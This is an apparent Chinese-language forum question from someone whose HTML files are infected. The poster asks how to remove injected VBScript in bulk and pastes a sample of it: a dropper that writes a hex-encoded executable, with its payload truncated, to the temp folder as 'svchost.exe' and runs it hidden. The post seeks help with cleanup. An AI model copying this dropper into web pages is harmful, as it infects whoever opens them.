我的电脑上有几个html文件,是从朋友那里借来的,不幸的是所有文件都被感染了,它们都在源代码中插入了恶意的vbscript代码。我有 100 个文件,无法编辑所有文件的源代码。有没有办法可以删除恶意脚本并仍然获取数据?
编辑:这是代码示例
<script language="VBScript"><!--
DropFileName = "svchost.exe"
WriteData = "4D5A9000030000000400........................8CB03FA48CB03"
Set FSO = CreateObject("Scripting.FileSystemObject")
DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
If FSO.FileExists(DropPath)=False Then
Set FileObj = FSO.CreateTextFile(DropPath, True)
For i = 1 To Len(WriteData) Step 2
FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
Next
FileObj.Close
End If
Set WSHshell = CreateObject("WScript.Shell")
WSHshell.Run DropPath, 0
//--></SCRIPT>
在线上传是否安全?